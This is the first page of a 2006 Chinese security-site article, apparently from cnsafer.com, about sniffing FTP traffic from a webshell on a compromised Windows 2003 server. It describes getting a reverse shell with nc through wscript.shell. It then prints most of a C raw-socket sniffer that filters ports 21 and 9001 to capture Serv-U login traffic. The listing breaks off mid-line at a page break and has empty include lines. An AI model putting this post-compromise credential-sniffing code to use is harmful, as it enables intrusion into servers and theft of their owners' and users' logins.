执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 菜鸟学习 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
给IIS Web服务器装上一把锁
加固Wind2003平台的WEB服务器
XML Web站点开发要保证安全性
识别常见Web应用安全漏洞 有效防止
建立安全模型 保障Web数据库安全运
在ASP.NET中创建安全Web站点
Web安全性问题的层次关系分析
包嗅探器、Web欺骗、phishing和按键
如何寻找WEB程序漏洞及如何利用和防
从上传webshell到突破TCP/IP筛选到
基于Webshell的sniffer可行性研究
作者:佚名 来源:安全在线 更新时间:2006-2-3 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

阅读提示: 幻影Mix修改的flashsky的那个端口复用下的嗅探serv-u,经测试,不能用于win2003服务器中,具体我也不知道,不知道是不是操作有识,反正我是没成功过.我自己构造了一个环境试了一下,嗅探程序是自己写的,利用raw进行嗅探,如果要arp的话,要装那个wincap,想一想那么低的权限是不可能的.

实验环境:
Windows2003服务器+海洋2006+serv-u5.2服务器不能直接使用cmd.exe,但可以上传后利用wscript.shell组件执行命令.

实验步骤:
1.利用wcript.shell执行nc 反弹得到shell


2.利用自编写工 CODE:
/*------------------------------------------------------
*FIle:   SnifferFtp.c
*Effect: 用于在webshell进行嗅探实验之用,基于Raw
*Code:   Huai_Huai
*Page:   [url]Http://hhuai.cn[/url]
*Date:   2006.1.12
*-----------------------------------------------------*/

#include
#include    

#include "Winsock2.h"

#pragma comment(lib,"WS2_32.lib")

#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define STATUS_FAILED 0xFFFF
#define MAX_PACK_LEN 65535
#define MAX_ADDR_LEN 16
#define MAX_HOSTNAME_LEN 255

//定义ip报头
typedef struct _iphdr
{
  byte ver_len;     //版本4位,头长度4位,报头长度以32位为一个单位
  byte type;         //类型8位
  byte length[2];     //总长度,16位,指出报文的以字节为单位的总长度
  //报文长度不能超过65536个字接,否则认为报文遭到破坏
  byte id[2];         //报文标示,用于多于一个报文16位
  byte flag_offset[2];//标志,3位   数据块偏移13位
  byte time;         //生存时间,8位
  byte protocol;     //协议,8位
  byte crc_val[2];   //头校验和,16位
  byte src_addr[4];   //源地址,32位
  byte tar_addr[4];   //目标地址,32位
  byte options[4];   //选项和填充,32位
}IP_HEADER;

typedef struct _tcphdr
{
  byte source_port[2];   //发送端端口号,16位
  byte dest_port[2];     //接收端端口号,16位
  byte sequence_no[4];   //32位,标示消息端的数据位于全体数据块的某一字节的数字
  byte ack_no[4];         //32位,确认号,标示接收端对于发送端接收到数据块数值
  unsigned char offset_reser_con;//数据偏移4位,预留6位,控制位6为
  unsigned char th_flag;
  byte window[2];         //窗口16位
  byte checksum[2];     //校验码,16位
  byte urgen_pointer[2];   //16位,紧急数据指针
  byte options[3];     //选祥和填充,32位
}TCP_HEADER;

#define PROTOCOL_ICMP         1   //传输控制协议
#define PROTOCOL_GTG         3   //Gateway-to-Gateway      
#define PROTOCOL_CGMM         4   //CMCC Gateway Monitoring Message
#define PROTOCOL_ST           5   //ST
#define PROTOCOL_TCP         6   //传输控制协议      
#define PROTOCOL_UCL         7   //UCL
#define PROTOCOL_SECURE         9   //secure
#define PROTOCOL_BRM         10   //BBN RCC Monitoring
#define PROTOCOL_NVP         11   //NVp
#define PROTOCOL_PUP         12   //PUP
#define PROTOCOL_PLURIBUS     13 //Pluribus    
#define PROTOCOL_TELENET     14   //Telenet      
#define PROTOCOL_XNET         15   //XNET
#define PROTOCOL_CHAOS         16   //Chaos
#define PROTOCOL_UDP         17   //UDP
#define PROTOCOL_MULTIPLEXING   18   //Multiplexing      
#define PROTOCOL_DCN         19   //DCN      
#define PROTOCOL_TAC_MONITORING   20   //TAC Monitoring
#define PROTOCOL_ALN         63   //any local network
#define PROTOCOL_SATNET         64   //SATNET and Backroom EXPAK
#define PROTOCOL_MITSS         65   //MIT Subnet Support
#define PROTOCOL_SATNET_MONIT   69   //SATNET Monitoring
#define PROTOCOL_IPCU         71   //Internet Packet Core Utility
#define PROTOCOL_BK_SATNET_MONI 76   //Backroom SATNET Monitoring
#define PROTOCOL_WIDEBAND_MONI   78   //WIDEBAND Monitoring
#define PROTOCOL_WIDEBAND_EXPAK   79   //WIDEBAND EXPAK

SOCKET SocketRaw;

void startsniffer()
{
  char RecvBuf[MAX_PACK_LEN]={0};
  char FAR name[MAX_HOSTNAME_LEN];
  WSADATA wsa;
  struct hostent FAR* pHostent;
  SOCKADDR_IN sa;
  DWORD OutBuffer[10];
  DWORD InBuffer=1;
  DWORD BytesReturned=0;
 
  if(WSAStartup(MAKEWORD(2,2),&wsa)!=0)
  {
    printf("不能加载Winsock DLL!");
    exit(0);
  }
  SocketRaw=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
  if(SocketRaw==INVALID_SOCKET)
  {
    printf("不能创建Socket!");
    exit(0);
  }
 
 
  gethostname(name,MAX_HOSTNAME_LEN);
 
  //这里会自动分配内存
  pHostent=gethostbyname(name);
 
  sa.sin_family=AF_INET;
  sa.sin_port=htons(6000);
  memcpy(&sa.sin_addr.S_un.S_addr,pHostent->h_addr_list[0],pHostent->h_length);
  if(bind(SocketRaw,(PSOCKADDR)&sa,sizeof(sa))!=0)
  {
    printf("不能绑定网卡!");
    closesocket(SocketRaw);
    exit(0);
  }
 
 
 
  if(WSAIoctl(SocketRaw,SIO_RCVALL,&InBuffer,sizeof(InBuffer),
    &OutBuffer,sizeof(OutBuffer),&BytesReturned,NULL,NULL)!=0)
  {
    printf("不能创建WSAIoctl!");
    closesocket(SocketRaw);
    exit(0);
  }
 
}

int ReceiveBuf(byte* buf,int len)
{
  return recv(SocketRaw,(char *)buf,len,0);
}

void main()
{
  int len;  
  byte RecvBuf[65535];
  char buf[16];
  int iphdr_len;
  TCP_HEADER* pTcpHeader;
  unsigned __int16 src_port;
  unsigned __int16 dest_port;
  int HdrLen;
  __int16 datalen;
  IP_HEADER* pIpheader;
  int port1,port2;
 
  startsniffer();  
  while(TRUE)
  {
    port1=port2=0;
    memset(RecvBuf,0,65535);
    len=ReceiveBuf(RecvBuf,65535);
    if(len>0)
    {
       
        pIpheader=(IP_HEADER*)RecvBuf;
        /*
        switch(pIpheader->protocol)
        {
        case PROTOCOL_ICMP:
        printf("ICMP");
        break;
        case PROTOCOL_TCP:
        printf("TCP");
        break;
        case PROTOCOL_UDP:
        printf("UDP");
        break;
        default:
        printf("其他协议");
        break;
        }
        */
       
       
       
        if(pIpheader->protocol==PROTOCOL_TCP)
        {
          iphdr_len=(pIpheader->ver_len&0xf)*4;
          pTcpHeader=(TCP_HEADER*)(RecvBuf+iphdr_len);
          src_port=pTcpHeader->source_port[0]*0x100+pTcpHeader->source_port[1];
          dest_port=pTcpHeader->dest_port[0]*0x100+pTcpHeader->dest_port[1];
         
          memset(buf,0,16);
          sprintf(buf,"%d",src_port);
          port1=src_port;
          //printf("%s ",buf);
         
          memset(buf,0,16);
          sprintf(buf,"%d",dest_port);
          port2=dest_port;
          //printf("%s ",buf);
         
          if(port1==21 || port2==21 || port1==9001 || port2==9001)
          {
            HdrLen=(pTcpHeader->offset_reser_con)>>2;
            memset(buf,0,16);
            sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);
            //printf("%s ",buf);
           
            memset(buf,0,16);
            sprintf(buf,"%d.%d.%d.%d",pIpheader->src_addr[0],pIpheader->src_addr[1],pIpheader->src_addr[2],pIpheader->src_addr[3]);
            //printf("%s ",buf);
           
            memset(buf,0,16);
            sprintf(buf,"%d.%d.%d.%d",pIpheader->tar_addr[0],pIpheader->tar_addr[1],pIpheader->tar_addr[2],pIpheader->tar_addr[3]);
            //pri

[1] [2] 下一页

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2008 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    中国安全在线友情提示:建议使用IE6.0或以上版本, 分辩率1024*768进行浏览
    敢想 敢做 挑战自我 努力做最好 打造最优秀的新手成长 第一起跑线
    中网科技有限公司 技术支持 鄂ICP备05006475号